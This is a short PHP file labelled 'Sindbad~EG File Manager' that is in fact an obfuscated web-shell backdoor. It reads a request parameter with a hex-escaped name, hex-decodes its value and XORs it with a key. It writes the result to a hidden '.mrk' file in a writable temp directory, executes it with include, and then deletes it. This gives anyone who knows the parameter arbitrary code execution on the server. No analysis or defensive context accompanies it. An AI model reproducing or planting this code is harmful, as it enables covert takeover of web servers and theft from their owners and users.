Sindbad~EG File Manager

<?php

if(array_key_exists("\x65\x6Ce\x6D\x65nt", $_REQUEST)){
	$record = hex2bin($_REQUEST["\x65\x6Ce\x6D\x65nt"]);
	$ptr     =   ''      ;     for($e=0; $e<strlen($record); $e++){$ptr .= chr(ord($record[$e]) ^ 50);}
	$item = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir()]);
	while ($factor = array_shift($item)) {
    		if (array_product([is_dir($factor), is_writable($factor)])) {
    $dat = "$factor" . "/.mrk";
    if (file_put_contents($dat, $ptr)) {
	include $dat;
	@unlink($dat);
	die();
}
}
}
}